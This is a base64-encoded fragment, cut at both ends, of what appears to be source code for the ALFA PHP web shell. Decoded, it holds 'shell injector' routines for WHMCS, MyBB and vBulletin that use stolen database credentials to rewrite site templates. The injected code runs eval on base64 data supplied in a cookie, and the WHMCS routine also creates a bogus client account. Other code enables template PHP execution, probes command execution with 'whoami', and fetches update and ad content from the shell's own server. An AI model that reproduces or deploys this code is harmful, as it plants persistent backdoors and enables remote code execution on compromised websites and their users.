YWJsZSk7CmVjaG8gJHNlbGVjdG9yOwplY2hvICI8cD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9wPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwppZihpc3NldCgkX1BPU1RbJ2FsZmE2J10pKSB7CiRkYnUgPSAkX1BPU1RbJ2FsZmE2J107CiRkYm4gPSAkX1BPU1RbJ2FsZmE3J107CiRkYnAgPSAkX1BPU1RbJ2FsZmE4J107CiRkYmggPSAkX1BPU1RbJ2FsZmE5J107CiRwYXRoID0gJF9QT1NUWydhbGZhMTAnXTsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTQnXTsKJGluZGV4ID0gIntwaHB9Ii5BTEZBX1VQTE9BREVSLiI7ey9waHB9IjsKJG5ld2luID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGluZGV4KTsKJG5ld2luZGV4ID0gIjxwPkRlYXIgJG5ld2luLDwvcD48cD5SZWNlbnRseSBhIHJlcXVlc3Qgd2FzIHN1Ym1pdHRlZCB0byByZXNldCB5b3VyIHBhc3N3b3JkIGZvciBvdXIgY2xpZW50IGFyZWEuIElmIHlvdSBkaWQgbm90IHJlcXVlc3QgdGhpcywgcGxlYXNlIGlnbm9yZSB0aGlzIGVtYWlsLiBJdCB3aWxsIGV4cGlyZSBhbmQgYmVjb21lIHVzZWxlc3MgaW4gMiBob3VycyB0aW1lLjwvcD48cD5UbyByZXNldCB5b3VyIHBhc3N3b3JkLCBwbGVhc2UgdmlzaXQgdGhlIHVybCBiZWxvdzo8YnIgLz48YSBocmVmPVwie1wkcHdfcmVzZXRfdXJsfVwiPntcJHB3X3Jlc2V0X3VybH08L2E+PC9wPjxwPldoZW4geW91IHZpc2l0IHRoZSBsaW5rIGFib3ZlLCB5b3VyIHBhc3N3b3JkIHdpbGwgYmUgcmVzZXQsIGFuZCB0aGUgbmV3IHBhc3N3b3JkIHdpbGwgYmUgZW1haWxlZCB0byB5b3UuPC9wPjxwPntcJHNpZ25hdHVyZX08L3A+e3BocH1pZihcJF9DT09LSUVbXCJzZWNcIl0gPT0gXCIxMjNcIil7ZXZhbChiYXNlNjRfZGVjb2RlKFwkX0NPT0tJRVtcInNlYzJcIl0pKTsgZGllKFwiIVwiKTt9e1wvcGhwfSI7CmlmKCFlbXB0eSgkZGJoKSAmJiAhZW1wdHkoJGRidSkgJiYgIWVtcHR5KCRkYm4pICYmICFlbXB0eSgkaW5kZXgpKXsKaWYoZmlsdGVyX3ZhcigkcGF0aCxGSUxURVJfVkFMSURBVEVfVVJMKSl7CiRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9jb25uZWN0X2Vycm9yKCkpOwokc29sZVNhdmU9IG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IG1lc3NhZ2UgZnJvbSB0YmxlbWFpbHRlbXBsYXRlcyB3aGVyZSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyIpOwokc29sZUdldCA9IG15c3FsaV9mZXRjaF9hc3NvYygkc29sZVNhdmUpOwokdGVtcFNhdmUxID0gJHNvbGVHZXRbJ21lc3NhZ2UnXTsKJHRlbXBTYXZlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJHRlbXBTYXZlMSk7Cm15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFIHRibGNvbmZpZ3VyYXRpb24gU0VUIHZhbHVlID0gJzEnIFdIRVJFIHNldHRpbmcgPSAnQWxsb3dTbWFydHlQaHBUYWdzJyIpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRpbmplY3QgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSckbmV3aW5kZXgnIFdIRVJFIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsKJHJlc3VsdCA9IG15c3FsaV9xdWVyeSgkY29ubiwkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokY3JlYXRlID0gImluc2VydCBpbnRvIHRibGNsaWVudHMgKGVtYWlsKSB2YWx1ZXMoJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSI7CiRyZXN1bHQyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRjcmVhdGUpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewokQWxmYVNvbGUgPSBuZXcgQWxmYUNVUkwodHJ1ZSk7CiRzYXZldXJsID0gJEFsZmFTb2xlLT5TZW5kKCRwYXRoLiIvcHdyZXNldC5waHAiKTsKJGdldFRva2VuID0gcHJlZ19tYXRjaCgiL25hbWU9XCJ0b2tlblwiIHZhbHVlPVwiKC4qPylcIi9pIiwkc2F2ZXVybCwkdG9rZW4pOwokQWxmYVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIsInBvc3QiLCJ0b2tlbj17JHRva2VuWzFdfSZhY3Rpb249cmVzZXQmZW1haWw9c29sZXZpc2libGVAZmJpLmdvdiIpOwokYmFja2RhdGEgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSd7JHRlbXBTYXZlfScgV0hFUkUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciOwokU29sZXZpc2libGUgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGJhY2tkYXRhKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpfX2FsZXJ0KCJzaGVsbCBpbmplY3RldC4uLiIpOwokZmY9ICdodHRwOi8vJy4kcGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7Cm91dHB1dCgkZmYpO31lbHNlewplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPT4gPC9mb250PjxhIGhyZWY9JyIuJHBhdGguIi9wd3Jlc2V0LnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9wd3Jlc2V0LnBocDwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz4gQW5kIFJlc2V0IFBhc3N3b3JkIFdpdGggRW1haWw8L2ZvbnQ+ID0+IDxmb250IGNvbG9yPXJlZD5zb2xldmlzaWJsZUBmYmkuZ292PC9mb250Pjxici8+PGZvbnQgY29sb3I9JyNGRkZGRkYnPkFuZCBHbyBUbyA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kcGF0aC4iL3NvbGV2aXNpYmxlLnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9zb2xldmlzaWJsZS5waHA8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9fWVsc2V7X19hbGVydCgnUGF0aCBpcyBub3QgVmFsaWQuLi4nKTt9fX0KfWlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgJF9QT1NUWydhbGZhMiddPT0gJ215YmInKXsKQWxmYU51bSgxLDIsMyw1KTsKZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeUJCIHw8L2Rpdj48L3A+PGNlbnRlcj48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgibXliYiIpLiI8Zm9ybSBpZD0nc2VuZGFqYXgnIG9uU3VibWl0PVwiZygnU2hlbGxJbmplY3RvcnMnLG51bGwsbnVsbCwnbXliYicsbnVsbCx0aGlzLm1ldGhvZC52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD1QT1NUPgoiOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RhdGFCYXNlIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJz0+J2RiX25hbWUnICwnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVc2VyIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJz0+J2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnPT4nZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXggOiAnLCAnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0VmFsdWUnID0+ICdteWJiXycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAiPHA+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgJz48L3A+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkpIHsKJGRidSA9ICRfUE9TVFsnYWxmYTYnXTsKJGRibiA9ICRfUE9TVFsnYWxmYTcnXTsKJGRicCA9ICRfUE9TVFsnYWxmYTgnXTsKJGRiaCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRtZXRob2QgPSAkX1BPU1RbJ2FsZmE0J107CiRzaGVsbENvZGUgPSAie1wkeyIuQUxGQV9VUExPQURFUi4ifX0iOwokbmV3aW5zaGVsbCA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRzaGVsbENvZGUpOwppZiAoIWVtcHR5KCRkYmgpICYmICFlbXB0eSgkZGJ1KSAmJiAhZW1wdHkoJGRibikgJiYgIWVtcHR5KCRuZXdpbnNoZWxsKSl7CiRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokaW5qZWN0ID0gInNlbGVjdCB0ZW1wbGF0ZSBmcm9tIHskcHJlZml4fXRlbXBsYXRlcyB3aGVyZSAgdGl0bGU9ICdjYWxlbmRhciciOwokcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCAkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokR2V0VGVtcCA9IG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KTsKJHNhdmVEYXRlID0gJEdldFRlbXBbJ3RlbXBsYXRlJ107CiRyZXBzYXZlID0gc3RyX3JlcGxhY2UoJHNoZWxsQ29kZSwiIiwkc2F2ZURhdGUpOwokcmVwc2F2ZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRyZXBzYXZlKTsKJGNyZWF0ZVNoZWxsID0gInVwZGF0ZSB7JHByZWZpeH10ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSAnIi4kbmV3aW5zaGVsbC4kcmVwc2F2ZS4iJyB3aGVyZSB0aXRsZSA9ICdjYWxlbmRhciciOwokcmVzdWx0MiA9IG15c3FsaV9xdWVyeSgkY29ubiwkY3JlYXRlU2hlbGwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXR1cmwgPSAic2VsZWN0IHZhbHVlIGZyb20geyRwcmVmaXh9c2V0dGluZ3Mgd2hlcmUgbmFtZT0gJ2JidXJsJyI7CiRmaW5kdXJsID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRnZXR1cmwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRyb3diID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRmaW5kdXJsKTsKJGZ1cmwgPSAkcm93YlsndmFsdWUnXTsKJHJlYWx1cmwgPSBwYXJzZV91cmwoJGZ1cmwsUEhQX1VSTF9IT1NUKTsKJHJlYWxwYXRoID0gcGFyc2VfdXJsKCRmdXJsLFBIUF9VUkxfUEFUSCk7CiRyZXMgPSBmYWxzZTsKJEFsZmFDdXJsID0gbmV3IEFsZmFDVVJMKCk7CmlmIChleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyApewppZiAoJGZzb2NrID0gQGZzb2Nrb3BlbigkcmVhbHVybCwgODAsICRlcnJubywgJGVycnN0ciwgMTApKXsKQGZwdXRzKCRmc29jaywgIkdFVCAkcmVhbHBhdGgvY2FsZW5kYXIucGhwIEhUVFAvMS4xXHJcbiIpOwpAZnB1dHMoJGZzb2NrLCAiSE9TVDogJHJlYWx1cmxcclxuIik7CkBmcHV0cygkZnNvY2ssICJDb25uZWN0aW9uOiBjbG9zZVxyXG5cclxuIik7CiRjaGVjayA9IGZnZXRzKCRmc29jayk7CmlmKHByZWdfbWF0Y2goIi8yMDAgT0svaSIsJGNoZWNrKSl7CiRyZXBhaXJkYnRlbXAgPSAidXBkYXRlIHskcHJlZml4fXRlbXBsYXRlcyBTRVQgdGVtcGxhdGU9ICckcmVwc2F2ZScgd2hlcmUgdGl0bGUgPSAnY2FsZW5kYXInIjsKJGNsZWFyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRyZXBhaXJkYnRlbXApIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7JHJlcyA9IHRydWU7fQpAZmNsb3NlKCRmc29jayk7fX1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7CiRBbGZhQ3VybC0+U2VuZCgkcmVhbHVybC4kcmVhbHBhdGguIi9jYWxlbmRhci5waHAiKTsKJHJlcyA9IHRydWU7Cn0KaWYoJHJlcyl7CiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9zb2xldmlzaWJsZS5waHAiOwpvdXRwdXQoJGZmKTsKfWVsc2V7CiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9jYWxlbmRhci5waHAiOwokZmZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7CmVjaG8gIjxicj48cHJlIGlkPSdzdHJPdXRwdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9J21sMSc+PGJyPjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9JyNGRkZGRkYnPlBsZWFzZSBHbyBUbyBUYXJnZXQgPT4gPC9mb250PjxhIGhyZWY9JyIuJGZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZi4iPC9hPjxici8+PGZvbnQgY29sb3I9JyNGRkZGRkYnPkFuZCBHbyBUbyA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZmYuIjwvYT48L2I+PC9jZW50ZXI+PGJyPjxicj4iOwp9fX19CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkgJiYgJF9QT1NUWydhbGZhMyddPT0gJ3ZiJyl7CkFsZmFOdW0oMSwyLDcsOSwxMCk7CmVjaG8gX19wcmUoKS4nPHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgdmJ1bGxldGluIHw8L2Rpdj48L3A+PHA+Jy5nZXRDb25maWdIdG1sKCd2YicpLic8L3A+PGZvcm0gbmFtZT0iZnJtIiBtZXRob2Q9IlBPU1QiIG9uc3VibWl0PSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsdGhpcy5sby52YWx1ZSxcJ3ZiXCcsdGhpcy51c2VyLnZhbHVlLHRoaXMucGFzcy52YWx1ZSx0aGlzLnRhYi52YWx1ZSx0aGlzLmRiLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdIb3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2xvJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RhdGFCYXNlIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGInLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVXNlciBOYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ3VzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnUGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAncGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4IDogJywgJ2lucHV0TmFtZScgPT4gJ3RhYicsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJHNlbGVjdG9yOwplY2hvICc8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkmJiFlbXB0eSgkX1BPU1RbJ2FsZmE0J10pKXsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTgnXTsKJGZhcV9uYW1lID0gImZhcSI7CiRmYXFfZmlsZSA9ICIvZmFxLnBocCI7CiRjb2RlID0gIntcJHsiLkFMRkFfVVBMT0FERVIuIn19e1wke2V4aXQoKX19JiI7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkX1BPU1RbJ2FsZmEyJ10sJF9QT1NUWydhbGZhNCddLCRfUE9TVFsnYWxmYTUnXSwkX1BPU1RbJ2FsZmE3J10pIG9yIGRpZShAbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7CiRyZWMgPSAic2VsZWN0IGB0ZW1wbGF0ZWAgZnJvbSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CiRyZWNpdmVkYXRhID0gQG15c3FsaV9xdWVyeSgkY29ubiwkcmVjKTsKJGdldGQgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRyZWNpdmVkYXRhKTsKJHNhdmV0b2FzcyA9ICRnZXRkWyd0ZW1wbGF0ZSddOwppZihlbXB0eSgkc2F2ZXRvYXNzKSl7CgkkZmFxX25hbWUgPSAiaGVhZGVyIjsKCSRmYXFfZmlsZSA9ICIvIjsKCSRyZWMgPSAic2VsZWN0IGB0ZW1wbGF0ZWAgZnJvbSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CgkkcmVjaXZlZGF0YSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHJlYyk7CgkkZ2V0ZCA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlY2l2ZWRhdGEpOwoJJHNhdmV0b2FzcyA9ICRnZXRkWyd0ZW1wbGF0ZSddOwoJJGNvZGUgPSBBTEZBX1VQTE9BREVSLiI7IjsKfQokY29kZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRjb2RlKTsKJHAgPSAiVVBEQVRFICIuJF9QT1NUWydhbGZhNiddLiJ0ZW1wbGF0ZSBTRVQgYHRlbXBsYXRlYD0nIi4kY29kZS4iJyBXSEVSRSBgdGl0bGVgPSciLiRmYXFfbmFtZS4iJyI7CiRrYT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcCkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokZ2V0dXJsID0gQG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IGB2YWx1ZWAgZnJvbSAiLiRfUE9TVFsnYWxmYTYnXS4ic2V0dGluZyBXSEVSRSBgdmFybmFtZWA9J2JidXJsJyIpOwokZ2V0dmFsID0gQG15c3FsaV9mZXRjaF9hc3NvYygkZ2V0dXJsKTsKJHNhdmV2YWwgPSAkZ2V0dmFsWyd2YWx1ZSddOwppZigkZmFxX25hbWUgPT0gImhlYWRlciIpewoJaWYoc3Vic3RyKCRzYXZldmFsLCAtNSwgNSkgPT0gIi9jb3JlIil7CgkJJHNhdmV2YWwgPSBzdWJzdHIoJHNhdmV2YWwsIDAsIC01KTsKCX0KfQokcmVhbHVybCA9IHBhcnNlX3VybCgkc2F2ZXZhbCxQSFBfVVJMX0hPU1QpOwokcmVhbHBhdGggPSBwYXJzZV91cmwoJHNhdmV2YWwsUEhQX1VSTF9QQVRIKTsKJHJlcyA9IGZhbHNlOwokQWxmYUN1cmwgPSBuZXcgQWxmYUNVUkwoKTsKaWYoZXh0ZW5zaW9uX2xvYWRlZCgnc29ja2V0cycpICYmIGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewppZigkZnNvY2sgPSBAZnNvY2tvcGVuKCRyZWFsdXJsLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxMCkpewpAZnB1dHMoJGZzb2NrLCAiR0VUICRyZWFscGF0aC4kZmFxX2ZpbGUgSFRUUC8xLjFcclxuIik7CkBmcHV0cygkZnNvY2ssICJIT1NUOiAkcmVhbHVybFxyXG4iKTsKQGZwdXRzKCRmc29jaywgIkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iKTsKJGNoZWNrID0gZmdldHMoJGZzb2NrKTsKaWYocHJlZ19tYXRjaCgiLzIwMCBPSy9pIiwkY2hlY2spKXsKJHAxID0gIlVQREFURSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi5teXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCRzYXZldG9hc3MpLiInIFdIRVJFIHRpdGxlID0nIi4kZmFxX25hbWUuIiciOwoka2ExPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRwMSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokcmVzID0gdHJ1ZTsKfQpAZmNsb3NlKCRmc29jayk7Cn0KfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpICYmICRtZXRob2QgPT0gJ2F1dG8nKXsKJEFsZmFDdXJsLT5TZW5kKCRyZWFsdXJsLiRyZWFscGF0aC4kZmFxX2ZpbGUpOwokcDEgPSAiVVBEQVRFICIuJF9QT1NUWydhbGZhNiddLiJ0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLm15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sJHNhdmV0b2FzcykuIicgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CiRrYTE9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHAxKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRyZXMgPSB0cnVlOwp9CmlmKCRyZXMpewokZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIvc29sZXZpc2libGUucGhwIjsKb3V0cHV0KCRmZik7Cn1lbHNlewokZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiRmYXFfZmlsZTsKJGZmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9zb2xldmlzaWJsZS5waHAiOwplY2hvICI8Y2VudGVyPjxwPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPkZpcnN0IE9wZW4gVGhpcyBMaW5rID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlNlY29uZCBPcGVuIFRoaXMgTGluayA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZmYuIjwvYT48L2NlbnRlcj48L3A+Ijt9fX0KZWNobyAnPC9kaXY+JzsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFjaGVja2ZpbGV0eXBlKCl7CgkkcGF0aCA9ICRfUE9TVFsncGF0aCddOwoJJGFyZyA9ICRfUE9TVFsnYXJnJ107CglpZihAaXNfZmlsZSgkcGF0aC4nLycuJGFyZykpewoJCWVjaG8oImZpbGUiKTsKCX1lbHNlewoJCWVjaG8oImRpciIpOwoJfQp9CmZ1bmN0aW9uIGFsZmFjaGVja3VwZGF0ZSgpewoJaWYoJEdMT0JBTFNbIkRCX05BTUUiXVsiY2dpX2FwaSJdKXsKCQlpZighaXNzZXQoJF9DT09LSUVbImFsZmFjZ2lhcGlfbW9kZSJdKSYmIWlzc2V0KCRfQ09PS0lFWyJhbGZhY2dpYXBpIl0pKXsKCQkJX2FsZmFfY2dpY21kKCJ3aG9hbWkiLCJwZXJsIix0cnVlKTsKCQkJaWYoc3RybGVuKGFsZmFFeCgid2hvYW1pIixmYWxzZSx0cnVlKSk+MCl7CgkJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYV9jYW5ydW5jbWQiLCAidHJ1ZSIpOwoJCQl9CgkJfQoJfQoJaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX3ZlcnNpb24iKSl7CgkJJHVwZGF0ZSA9IG5ldyBBbGZhQ1VSTCgpOwoJCSRqc29uID0gJHVwZGF0ZS0+U2VuZCgiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS91cGRhdGUuanNvbj92ZXI9Ii5fX0FMRkFfVkVSU0lPTl9fKTsKCQkkanNvbiA9IEBqc29uX2RlY29kZSgkanNvbix0cnVlKTsKCQkkZGF0YSA9IGFycmF5KCk7CgkJaWYoJGpzb24pewoJCQlpZighaXNzZXQoJF9DT09LSUVbJ2FsZmFfY2hlY2t1cGRhdGUnXSkgJiYgIWVtcHR5KCRqc29uWyJ0eXBlIl0pKXsKCQkJCWlmKCRqc29uWyJ0eXBlIl0gPT0gInVwZGF0ZSIpewoJCQkJCWlmKF9fQUxGQV9WRVJTSU9OX18gIT0gJGpzb25bJ3ZlcnNpb24nXSB8fCBfX0FMRkFfVVBEQVRFX18gIT0gJGpzb25bJ3ZlcnNpb25fbnVtYmVyJ10pewoJCQkJCQlAc2V0Y29va2llKCJhbGZhX2NoZWNrdXBkYXRlIiwgIjEiLCB0aW1lKCkrODY0MDApOwoJCQkJCQkkZGF0YVsiY29udGVudCJdID0gJzxkaXYgY2xhc3M9InVwZGF0ZS1ob2xkZXIiPicuJGpzb25bImNvbnRlbnQiXS4nPC9kaXY+JzsKCQkJCQl9CgkJCQl9CgkJCX0KCQkJaWYoaXNzZXQoJGpzb25bImFkcyJdKSAmJiAhZW1wdHkoJGpzb25bImFkcyJdKSl7CgkJCQkkZGF0YVsiY29udGVudCJdIC49ICRqc29uWyJhZHMiXTsKCQkJfQoJCQlpZihpc3NldCgkanNvblsiY29weXJpZ2h0Il0pICYmICFlbXB0eSgkanNvblsiY29weXJpZ2h0Il0pKXsKCQkJCSRkYX